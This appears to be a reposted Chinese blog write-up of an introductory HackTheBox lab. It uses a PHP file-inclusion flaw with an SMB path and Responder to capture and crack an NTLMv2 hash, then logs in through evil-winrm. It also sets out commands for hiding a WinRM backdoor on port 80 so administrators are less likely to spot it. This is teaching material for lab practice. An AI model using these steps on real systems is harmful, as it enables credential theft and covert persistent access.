HTB之从文件包含到getshell

admin 2022年6月24日11:26:40安全文章评论15 views3564字阅读11分52秒阅读模式

微信公众号:[小白渗透成长之路]
弱小和无知不是生存的障碍,傲慢才是!
如果你觉得文章对你有帮助,麻烦点个赞

内容目录

靶场操作

扩展->winrm后门配置与使用

HTB之从文件包含到getshell这个是hackthebox的一个入门级靶场吧,也比较简单,主要是学习一下这种姿势再复习复习之前学的,嘿嘿。

靶场操作

开局老样子,端口扫描

nmap -v -p- -min-rate 5000 -sV -sC 10.129.152.80#-p 扫1-65535#-min-rate 指定最小的数据包的数目,每秒不低于多少,提高扫描速度

这边我们是扫到了三个端口。

HTB之从文件包含到getshell

第二步:因为这里的80端口是开的,所以我们去访问80看看。
这里的10.129.152.80就直接跳转到了unika.htb,显示访问失败。

HTB之从文件包含到getshell

这里我们可以知道,htb这个域名应该是他内网机中的自定义域名,所以当我们去用ip请求时,就会跳转到他绑定的域名unika.htb上,然后我们的电脑就会先对本地hosts查找,看看有没有unika.htb对应的ip,如果没有,就去DNS服务器中找,由于是内网自定义域名,当然是找不到的,所以无法连接。

所以我们只需要修改本地的hosts文件,将10.129.152.80和unika.htb做个绑定就好了。

echo "10.129.152.80 unika.htb" | sudo tee -a /etc/hosts

HTB之从文件包含到getshell

然后我们再次去访问,就可以成功访问到了。

HTB之从文件包含到getshell

接下来我们又到了web渗透的环境。在我们浏览目标的过程中,我发现有个类似模板切换的功能,点击后,他的url变成了这样。

http://unika.htb/index.php?page=german.html

HTB之从文件包含到getshell

这个就是不是非常眼熟了,潜意识就先想到了文件包含漏洞。

我们这边就可以做一下简单的测试了。我们知道windows中有很多常见目录,这边我们用/windows/system32/drivers/etc/hosts做测试。

这边我们跳一级后,爆出了网站的绝对路径。

HTB之从文件包含到getshell

所以我们这边就知道,只需要往前跳三级就可以了,成功加载到了,所以,本地文件包含漏洞是稳了。

HTB之从文件包含到getshell

到这边是不是思路是不是就有点断了,我们这边接下来要使用的利用文件包含漏洞,来盗取主机的NTLM,如何操作,看下面。

原理:我们知道,在php中的php.ini有个allow_url_include参数,这个参数默认是off的,就是说我们不能远程去加载http或者ftp的资源。但是,PHP不会去阻止SMB的一些URL,所以我们这边就可以使用SMB来获取NTLM hash。
这边我们要用到一个工具responder,kali是自带的。
responder他主要的作用就是模拟的一些服务,例如smb,ftp等等,当别人加载到他的时候,responder就会模拟NTML的验证流程。首先responder会把challenge给到server去加密用户的密码,当server回应后,responder就会用这个challenge的值去加密生成NetNTLMv2。虽然我们不能直接解密出NTLMv2,但是我们可以做hash碰撞,看看能不能撞出来。
开始操作:
首先监听使用responder来监听我们的tun0的网卡(hackbox的vpn网卡)。

HTB之从文件包含到getshell

接下来我们就使用smb去请求我现在本地的地址(和靶机同一个网段的)。

http://unika.htb/index.php?page=//10.10.16.25

HTB之从文件包含到getshell

我们这样去请求的时候,这台靶机就会尝试连接我们的这台机器,因为连接smb是要账号和密码的,所以他会做一个验证,所以他就会用自己的账号和密码做尝试登录。

HTB之从文件包含到getshell

我们这边就成功的抓到了靶机的用户名和密码的hash。
然后把我们抓到的信息保存成一个txt文档。

HTB之从文件包含到getshell

接下来我们就要开始hash碰撞了,这边用一个工具:john

HTB之从文件包含到getshell

这边也是很快就撞出来了,因为这个是靶场,所以搞得人多了,官方就加进去了,所以很快,实际的话,那就看运气了。

登录的账号密码:Administrator<---->badminton
这边我们可以看到,工具也是写了出来,我们这边加密的格式是NTMLv2的格式。

现在我们得到账号密码后是不是就要考虑登录的问题了。
还记得我们开局扫的端口吗?开启了5985端口,5985端口就是我们的winRM服务。

HTB之从文件包含到getshell

WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

我们这边可以使用一个kali自带的工具连接:evil-winrm
这个工具功能不只是连接,大家可以去github的项目中看看。

evil-winrm -i 10.129.152.80 -u administrator -p badminton

我们连接上去之后没有在桌面发现flag,然后我们去去查看当前用户,发现有个mike用户,来到他的桌面,我们发现了flag在这边。

HTB之从文件包含到getshell

HTB之从文件包含到getshell

然后type flag.txt

HTB之从文件包含到getshell

成功拿到了flag。

扩展-->winrm后门配置与使用

既然遇到了winrm,那么我们顺便也学学它其他的好思路。
WinRM服务我刚刚也说过,他使用的是http协议,如果用http就是5985端口,如果是https就是5986端口,因为是http协议,所以能够非常容易的穿过防火墙进行收发,所以我们可以用作后门做权限维持。
使用前提:需要目标机器的高权限用户的明文账号密码(就和我们刚刚打点靶机一样)。

开搞!!

winrm quickconfig ‐q#开启wimrm服务,win2012以下默认关闭#这条命令运行后会自动添加防火墙例外规则,放行5985端口
HTB之从文件包含到getshell
netsh http show servicestate#验证是否开启成功

HTB之从文件包含到getshell

这样就是开启成功的。
对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

这条命令将会开启80端口的监听器,如若服务器上存在web服务,也不影响这条命令的执行。

HTB之从文件包含到getshell

查看所开启的监听器。

winrm e winrm/config/listener

HTB之从文件包含到getshell

我们netstat -ano查看端口情况,可以发现我们的5985端口

HTB之从文件包含到getshell

如果计算机本身是没有开winRM,是你自己打开的,那么要将winrm的监听端口改成80,不然很有可能被管理员发现直接暴露。命令如下:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}# 修改winrm的端口为80

HTB之从文件包含到getshell

然后我们再去看看端口情况

HTB之从文件包含到getshell

刚才再这个位置,现在没有了。
经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,server上的web服务也能完全正常运行。

winrm后门使用

winrm quickconfig -qwinrm set winrm/config/Client @{TrustedHosts="管理本机的ip地址"}

HTB之从文件包含到getshell

然后我们这边就可以做连接了。

windows(要安装有winrs):winrs -r:http://192.168.159.132 -u:administrator -p:hacker1961. ipconfigkali:evil-winrm -i 192.168.159.132 -P-u administrator -p hacker1961

如果windows出现了下面这个报错信息,我们还需要在客户端(也就是连接机)上执行下面这条命令,设置为信任所有主机,再去连接即可:

HTB之从文件包含到getshell

winrm set winrm/config/Client @{TrustedHosts="*"}

HTB之从文件包含到getshell

这边为了方便,我就用kali连了。

HTB之从文件包含到getshell

这边因为我这win server环境的问题,http有点问题,所以是一个不足吧,没有一个好的收尾。

非administrator用户登录

此外,WinRM服务是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,普通管理员登录后也是高权限。

还请各位师傅们多多斧正HTB之从文件包含到getshellHTB之从文件包含到getshell

原文始发于微信公众号(小白渗透成长之路):HTB之从文件包含到getshell

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月24日11:26:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  HTB之从文件包含到getshell https://cn-sec.com/archives/1139604.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: